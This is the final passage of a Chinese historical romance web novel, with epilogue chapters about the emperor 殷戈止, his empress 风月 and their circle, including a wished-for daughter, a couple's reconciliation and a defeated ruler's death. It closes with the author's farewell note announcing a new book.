想起齐儿出生时候的待遇,再看看现在这人脸上温柔的神色,风月差点就要怀疑他是不是殷戈止的亲骨肉了!偏心也不带这么偏的啊!正常的皇室,不都应该以皇子为尊么?这位陛下是怎么回事?就喜欢女儿?
殷戈止翻着书,认认真真地给他未来的宝贝闺女想着名字,完全没理会旁边诡异的目光。
于是,这本字谱就成了皇帝手里的常见之物,朝中大臣们与他商议要事,说起战况的时候,殷戈止都不紧不慢地翻着书,随口应付着他们。
要不是他应付的话很有道理,能当作战方案,一群老臣早就怒了。字谱有啥好看的?啊?堂堂帝王,哪有这么吊儿郎当的?
不过,吴国的战火很快停歇了,又派了使臣来求和,乔堂杰等人一边生气一边想,有什么办法呢?魏孝帝上无可尽孝之太后,下无可钳制之臣,唯一能让他听话的皇后娘娘的中宫门口又挂了禁止外臣打扰的联子!这皇帝瞧着心不在焉吧,又没荒废国事,魏国反而日益强盛。说他太过专宠皇后吧,人家皇后也无外戚干权,更是一心要皇帝走正道。
半点错都抓不着啊!可瞧着就是让人不爽!凭什么别人当皇帝都日理万机累死累活、后宫乱成一团、朝里纷争不断的,他殷戈止在位就这么轻松?看起来什么也没做,事情都分到臣子手里了,后宫就皇后一个,朝政里的大臣还个个乖顺省心!
殷氏一族几百年的福祚,是不是全呈在他一个人身上了?
更可气的是,比他早成亲的封大将军和公主都还没个孩子呢,人家的第二个孩子就要出生了!
第二胎是足月的,风月很是放心地在房间里待产,外头的殷戈止虽然紧张,可一想到能有个机灵可爱的小公主,那嘴角还是扬着的。
“名字朕想好了,叫珞儿,算过八字,是大吉的好命,一生富贵安康,无忧无虑。”
旁边的南平好奇地问:“那齐儿的八字怎么样啊?”
帝王沉默,旁边的观止无语望天。灵殊又好气又好笑地拉着南平道:“长公主,陛下压根就没给小皇子算八字,钦天监还是拿以前的名字算的,说原来的名字八字好,陛下也不肯换。”
还有这样的?南平愕然:“皇兄不喜欢小孩儿么?可这回怎么准备了这么多东西?”
瞧瞧外头放着的,柔滑无比的小衣裳、绣工精湛的虎头鞋、花色富贵的襁褓,多齐全啊。
灵殊撇嘴,低声凑在南平耳边道:“那是因为陛下觉得娘娘这一胎是个女儿。”
女儿么?想了想,南平的神色也柔和不少:“女儿好啊,女儿贴心。”
一听这话,殷戈止眼含赞赏地看了南平一眼,眼里的意思很清楚——不愧是亲生的兄妹!
南平失笑,正要再说呢,就听见屋子里“哇”地一声,有孩子哭了。
“诶?谁在哭啊?”吓了一跳,南平瞪眼:“皇嫂还没生呢,哪能让旁的孩子在这儿哭?”
殷戈止没解释,抬脚就往里头走。南平一脸茫然,还是封明在她旁边低声道:“上回生小皇子你没听他们说么?皇后娘娘可厉害了,生孩子都不叫唤一声的。”
啥?就生了?南平惊了,立马提着裙子往里走。
风月这回有经验了,身子也养得更好,生完孩子脸色惨白,但人还醒着,看殷戈止进来,忍不住咧嘴笑。要不是下头还疼着,她肯定是要在床上打着滚儿乐的。
“皇嫂怎么了?”看她这表情,南平惊讶地问:“什么事情这么好笑啊?”
伸手指着抱着孩子的殷戈止,风月笑得眼泪直流。
众人转头一看,就见皇帝陛下一张脸变得阴沉沉的,手里抱着个嗷嗷哭的小团子,咬牙切齿的。
“恭喜陛下。”产婆高兴地跪地:“是个小皇子!”
“噗——”灵殊没忍住,转头抱着观止就哈哈大笑。南平也乐了,看着自家皇兄这吃瘪的模样,摇着头道:“孩子是看缘分的,哪能想什么来什么呀?皇子好,您的皇位后继有人才行,您别沉着脸呀,叫皇嫂看见多不好受?”
“不不不。”风月一边笑一边倒吸凉气,捂着肚子道:“我没有不好受,想想外头准备的那么多东西,我很欣慰,这个皇儿不会被陛下刻薄了。”
“外头的东西,是给小公主准备的!”殷戈止黑着脸道:“至于这个,谁去找块儿破布来,随便裹裹得了!”
“哈哈哈——”众人哄笑。
嫌弃归嫌弃,殷戈止还是温柔地把团子抱着的,也没当真拿破布,倒是拿襁褓把它包好放在风月旁边,然后眼神沉痛地看着她道:“朕想要个小公主,就这么难吗?”
风月咧嘴,伸手摸摸他的脑袋:“乖啊,等我缓缓,以后再给您个公主。”
第207章 番外之过去再见
旁边的南平听着,眼里有羡慕,却没多说,伸手抱了抱第二个小皇子,又去看了看已经能摇摇晃晃走路的齐儿。看时候差不多了,便眼神询问封明:你还要再看会儿吗?
封明有点不太高兴,伸手塞了红包在二皇子的襁褓里,拉着她就行礼告退。
“今日进宫,是你提的。”走在宫道上,封明闷声道:“看我的脸色做什么?你想什么时候走,就什么时候走。”
南平微笑:“出嫁从夫,自然是我听你的。”
那也不用总是这样看他脸色吧?封明有些焦躁。这都快两年了,南平还是敬他畏他,什么事都替他处置得妥帖,反而让他心里的愧疚更浓。
他……还没跟她圆房呢。
本来先前就跟殷戈止说好的,留着南平的身子在,让她以后也好嫁人。可现在……都两年了,魏国谁不知道南平公主的驸马是他封明?就算她还是完璧之身又如何?还能嫁出去吗?
既然嫁不出去了,那他……是不是该跟她同房了?
眼角余光偷偷打量着旁边这人,封明犹豫半晌,站住脚直接开口:“你想不想也要个孩子?”
脚步一顿,南平不解地回头看着他:“什么?”
表情有点尴尬,封明挠着后脑勺看向别处:“我是说,看你抱孩子的样子,好像挺喜欢的。你嫁给我也这么久了,也不是真正的夫妻,挺耽误事儿的。你要是喜欢孩子……”
他话没说完,就见南平的脸色陡然苍白,吓得他心里跟着一紧:“怎么了?”
垂了眼眸,南平捏着帕子轻笑:“其实我一直知道将军在想什么,从一嫁进来就知道,所以我没强求,就想对您体贴着点儿,也能让您对我多留恋些,不会那么快赶我走。”
话说到后头便带了些哽咽,帕子也捏得更紧,南平舔了舔嘴唇,苦笑:“没想到也就只拖了两年。”
什么东西?封明听得一头雾水,还没反应过来呢,就见面前的人退后半步,很是潇洒地道:“将军不想跟本宫在一起了,那便和离吧,本宫去跟皇兄提。”
说罢,转身就朝来时的路走。
莫名其妙地伸手拉住她,封明皱眉:“谁说我不想跟你在一起了?”
南平一愣,没回头,语气分外平静:“将军方才那话的意思,南平听得明白,将军不想耽误南平,南平也明白。”
“你明白什么了我话都没说完!”封明急了,吼了一声:“头转过来!”
心里一跳,南平僵了脖子。
见她不转,封明点头,自个儿走到她面前去,伸手将人脸捧起来就吼:“我是想说,你要是喜欢孩子,咱们生一个!谁他娘的要赶你走啊?!”
眼里包着的泪珠儿“刷”地就滚落了下去,南平呆愣地看着面前这人,任由他将自己的脸揉成了包子也没个反应。
他说什么?咱们生一个?
“你看殷沉璧那不要脸的,一年一个,你就不眼馋啊?”脸上有点可疑的红晕,封明一边抹着她的眼睛一边吼:“老子也想要,一年生俩,赶上他们!”
破涕为笑,南平摇头:“哪有人能一年生两个的?”
“有啊,龙凤胎!”
说罢,封明伸手就将她捂在怀里。
温热的气息激得南平打了个寒颤,手抖了抖,试着捏了捏他的衣裳,最后还是缓缓伸手,坚定地环住了他的腰。
然后就听得这人闷声闷气地道:“我本来以为,我一辈子都不会放下关清越了。”
封明真的是这样以为的,甚至已经打算好在南平也有了归宿之后,上山出家去。可人心都是肉长的,南平这样的姑娘无怨无悔地陪在他身边,什么也不要就要他好便可。饿了给他做饭,冷了给他做衣裳,无聊了陪他去看风景,在他想知道皇后如何了的时候,还会带他进宫来看。
若说能做这些事坚持一年,那是情深不悔。但若坚持了两年,并且还有要一直坚持下去的意思,封明就觉得,这人是个傻子!
不仅傻,而且蠢,什么也不问他要,也不懂学学手段,用他的愧疚将他捆住,就始终那么温柔地笑着,一个劲儿地盼着他好。
他哪里就值得她这样了?
“先前皇兄还跟我说,要是还没同将军圆房,就让我去见见齐国的皇子。”靠着他的胸膛,南平低笑:“现在看来,我是不是不用去了?”
嗯?齐国的皇子?
心口一阵紧缩,封明很是不爽地眯了眯眼:“他什么意思?”
“嗯……大概是两国联姻,更利于合作互惠。”
身子被松开,南平心里一空,有些紧张地抬头看他:“将军?”
“没事。”解下自己的披风披在她肩上,封明捏了捏拳头:“我去找陛下聊两句,你在宫门口等我。”
说罢,一步一个脚印地朝龙涎宫踩去。
捏着他的披风,南平怔愣地看着他的背影,直到看见那人一脚踹开龙涎宫的大门,才倏地笑出了声。
耿直的封将军啊,他现在也打不过皇兄,这气势汹汹地过去,吓到了小皇子,怕是反而要被皇兄揍一顿。
她还是回去准备药酒吧。
踩着青石砖往宫外走,南平觉得心里有大石落地,整个人都轻松了起来。
她知道封明不是绝情绝义的人,所以她坚持要赌,赌她能不能焐热他那一颗心。两年了,这结果来得晚,但到底,她没有输。
其实要是换一个人,她可能就不赌了,毕竟何必贴着一个不爱自己的人这么久呢?她可以有更好的选择。可是,恰好是封明,恰好这个人,最让她心动,恰好她知道,他需要人拯救。
说白了其实就是她喜欢他,觉得他会是个好丈夫,以后也必定会是个好父亲。这赌,输了也就输了,自己好歹陪了他两年。可要是赢了,那她就是赚了。
赚了的南平公主心情很好,愉快地在宫门等着,等着崭新日子的来临。
“我走了。”
一场架打完,封明青着嘴角说了一句。
以往走,他都说“告退”,今日说了这三个字,殷戈止微微挑眉,接着便眯了眯眼。
“好生走,莫再回头。”
抱着孩子的风月也从床帐里伸出手来,潇洒地朝他挥了挥:“再见。”
再见。
没再看他们,封明伸手抹了抹嘴角,大步跨出了宫门。
第208章 番外之没结局的爱情
七国的历史时期发生了很多精彩的故事,比如曾在吴国为质的魏国皇子殷沉璧,竟然在登基后五年率兵攻打吴国,一雪前耻。再比如从太子时期就大权在握的叶御卿,登基之后不敌魏国,郁郁寡欢,竟然开始纵情声色,不问朝政。
坊间谈起此二人,难免对比一番,好生唏嘘。
然而,事情原本到底是什么模样的,还是只有当事人最清楚。比如风月,她就知道殷戈止攻打吴国的原因,一雪前耻倒是其次,主要是她第三胎怎么都没怀上,钦天监夜观星象,说吴国不阴城的位置挡了澧都的紫气。
对于这种神神道道的事情,风月是不太信的,看殷戈止那没反应的表情,她以为他也不信。
结果没过两年,魏国攻吴了。打了三年,吴国投降了。
殷戈止带着她去不阴城,不要脸地在人家的皇宫里做不要脸的事情。对于他这种行为,风月是想表达严厉的谴责的,然而没过两个月,自己当真怀上了。
“不是吧?”看着御医,风月简直哭笑不得:“还有这样的?”
不过这种事也只有当事人知道,要是传出去,这天下怕是要炸开了锅。
但也有当事人都不明白情况的,比如何愁。
吴国败了,交皇权于魏,统一货币,规整文字。叶御卿坐在龙椅上,看着旁边站着的妃嫔,竟然低低地笑了一声。
他对她说:“幸好你不用。”
这么多年过去了,何愁一直是他身边的宫女,他固执地叫她“忘忧”,她也就面无表情地听着。两人缠绵过,却不曾恩爱过。叶御卿心里有他的大业江山,有无数的妃嫔,就是不曾看重过她——至少何愁觉得是这样的。
然而,宫门大开的这一天,他突然就说了这么一句莫名其妙的话。
不用?不用什么呢?何愁没听明白,终于转头看他,却见他的嘴角流出乌黑的血来。
瞳孔微缩,何愁茫然地伸手扶住他将倾的身子。叶御卿低笑,松了好大一口气,将头靠在她腰间,低低地说了几个字。
然后那袭龙袍就带着血,从龙椅上跌落了下去。
手伸在半空,有些僵硬。何愁缓缓地低头看下去,就见大殿里所有人慌成一团,妃嫔们哭喊着,大臣们也都发着抖。
叶御卿的眉眼温柔如旧,手里的折扇仍旧还捏着,仿佛下一瞬就会展开,挡着他半边脸,在他那如春风般的笑眼之下轻轻摇晃。
“在下叶御卿,这厢有礼。”
光芒耀眼的画面被风一吹就散了,何愁回神,看向下头躺着的人,眼眶一红,终于还是哭了出来。
幸好你不用……她是宫女,不是妃嫔,所以幸好她不用陪葬,也不用被送上山出家……他死之前,竟然是在庆幸这个吗?
“何愁。”
风月找到她的时候,何愁已经哭得双目无神了,怔愣地抬眼看着她,扁扁嘴哽咽道:“他说他舍不得我。”
“嗯?”蹲下来轻轻抱着她,风月拍着她的背:“他什么时候说的?”
“死的时候。”抽搭不成声,何愁哭得像个孩子:“不知道什么时候服的毒,要死了竟然才说一句,他舍不得我。”
我舍不得你。
这是叶御卿最后的遗言,可既然舍不得,怎么会就这么去死呢?吴国投降,他依旧可以做他的国主,怎么也不至于死……
“乖。”已为人母的风月变得很是温柔,轻轻拍着她道:“就算他在最后说了人话,也别原谅他。”
要是原谅了,该怎么活呢?
叶御卿本就不是个好人,满肚子算计,从未让何愁好过,临死还给人添堵,那他也就不值得同情!
“师娘不必把他想得那么坏。”
安世冲和徐怀祖神色复杂地来看她的时候,坐在屋子里捧着茶道:“在我们看来,陛下对何愁姑娘,实在不能算不好。”
瞪眼看着他们,风月道:“你们真当我不知道啊?”
叶御卿这个疯子,的确没有亏待过何愁,只是也没有好生对待过她。这么多年了,跟何愁一起进宫的宫女都有不少变成娘娘的,偏生她永远是个宫女,不得人尊敬,也不得他正眼看待。风月是每隔一段时间都会让人打听何愁的状况的,可来回禀的人每年都说,何愁姑娘是陛下身边的宫女。
宫女宫女宫女,当真喜欢她,怎么会这样对她?可要是不喜欢,怎么又费那么大的心思,非把人留在身边呢?
她不喜欢叶御卿这种性格,倒是更欣赏殷戈止这样的,喜欢就好生对待!两人间要是有坎坷,那就铲平了!要是有断绝了的路,那就重新修了!既然把人记挂在了心上,那就用尽全力不留遗憾。不然搞得牵牵扯扯痛苦不堪的,有什么意思啊?不如早点放手!
然而,说是这么说,想起这两人的故事,她还是长长地叹了口气。
“对了师娘,师父呢?”徐怀祖振作了精神问:“我还想跟他聊聊。”
“聊什么?”风月挑眉:“先跟我聊。”
面前这两人竟然同时沉默了片刻,然后安世冲道:“没什么,他瞎说的,咱们没事了,就是等师父回来,请个安就走。”
嗯?怎么瞧着怪怪的?风月眯眼,盯着他们看了好一会儿,突然想起一个问题:“你们俩还没成亲吗?”
吓了一大跳,安世冲和徐怀祖慌忙站起来摆手,异口同声地道:“谁会同他成亲啊!”
风月:“……”
目光诡异地在这两人之间扫了扫,她沉痛地道:“你们在想什么?我是问你们各自不是都应该成亲了吗?”
气氛突然就尴尬了起来,安世冲抿唇垂眸,徐怀祖望天干笑。
于是,殷戈止处理完事情回来的时候,就看见自家皇后飞一般地朝他扑了过来:“陛下!惊天大事啊!徐怀祖想让您给他和安世冲赐婚啊!”
什么?伸手温柔地接住她,往怀里一搂,殷戈止抬头就看向后面跟着的两个徒儿。
安世冲和徐怀祖都疯了,红着脸跑过来站在他面前摇头:“师父,师娘误会了……”
“我不是那个意思。”
“我也没那个意思!”
眯眼看了看这两个人,殷戈止护好了自个儿的小狐狸精,云淡风轻地道:“你们现在,要遵守魏国的规矩了。”
吴国国土都已经归魏,这句话没什么不对,两人纷纷点头。
殷戈止一顿,目光落在他们腰间的刀剑上头:“魏国的规矩是——皇后娘娘说的话都是对的,她说你们想要赐婚,那你们肯定就是想要赐婚。”
安世冲脸都绿了,狠狠踩了徐怀祖一脚。徐怀祖吃痛,委屈地道:“我就是开个玩笑,哪有给两个男儿家赐婚的……”
“有啊。”努嘴指了指不悔剑和长恨刀,殷戈止微笑:“这本来就是情人用的刀剑,双生同出,等同赐婚。”
“你们回去选个良辰吉日吧。”
风月大笑,看着这两人惊恐的表情,搂着殷戈止的脖子就亲了他一口。
目光从两个徒儿身上转回来落在她脸上,殷戈止眼里的神色瞬间缱绻,再不管旁边的鬼哭狼嚎,低头下去就回她一吻。
“朕的皇后,今日更美了几分,愿意陪朕去买个绿豆糕吃吗?”他轻声问。
“荣幸之至啊,陛下。”挽着他的手,风月笑靥如花。眼波流转间,风姿半分不减,翘着兰花指便道:“还是要响玉街尾的那一家。”
“给你。”拿了银子放在她手心,殷戈止带着人就往前走。
一锭碎银,瞧着大,分量却不对劲。风月挑眉,伸手一捏就将那银子捏开,取出里头的纸条来。仔细一看,竟然是个签文。一大片看不懂的词汇之后,有人用毛笔添了一行字,就表达了魏孝帝陛下深深的执念——
“求女得女,再不得女,下一子作女养!”
哭笑不得地念出来,她伸手便锤他:“当心你儿子以后不孝!”
接住她的手,摊开在掌心一吻,殷戈止摇摇头没说话,扣着她的手便往前走。
安世冲和徐怀祖站在原地,目瞪口呆地看着这完全当他们不存在的两个人。
夕阳西下,那两个影子靠得很近,拉得老长,看起来幸福极了。
写在最后,给我亲爱的你们
好的,我知道这本书实在是不够长,顶着陛下恐怖的眼神,我还是偷偷打上结局的标志,然后回头好生看看吧。
风月写得很愉快,很顺利,同时也很费脑子,导致这段时间头发掉得极为恐怖/(ㄒoㄒ)/~~不过看评论大家都还满意,我也就放心惹,不算太亏!
灵殊和观止的番外,要是可以,出版的时候就加在后头啦,现在你们可爱的鸟儿要飞去查资料,准备开新书。
新书是在陛下的鼓励之下打算尝试一本现言,以后也许会继续写古言,这次就当是尝尝不同的写作背景,丰富一下写作灵感啦!知道大家很多人是专门看古言的,不过还是想顶着锅盖试试,因为恰好有很想写的故事,写完了也就圆满惹。
顺便想起来,我好像还得改《草色烟波里》,然后还有美景的出版番外和桃花的出版番外要写/(ㄒoㄒ)/~~突然想去度个假。
不过还是要谢谢各位一路支持我的读者和编辑,尤其是群里为我终身大事以及外在形象还有身体健康操心的读者们_(:зゝ∠)_哈哈哈,我会好好的啦!尽量不会让你们担心的,话说明天有空,可以去医院检查一下了(????)??。
今天是10月11号,11月1号的时候,鸟儿会带着新书,依旧在若初文学网,等着和大家见面的!欢迎关注新浪微博@蒹葭苍苍丶白鹭成双留意新书更新动态,或者看评论区的置顶留言加读者群,跟大家交流~
感谢阅读,下次再见吧。
鞠躬!
白鹭成双
2016.10.11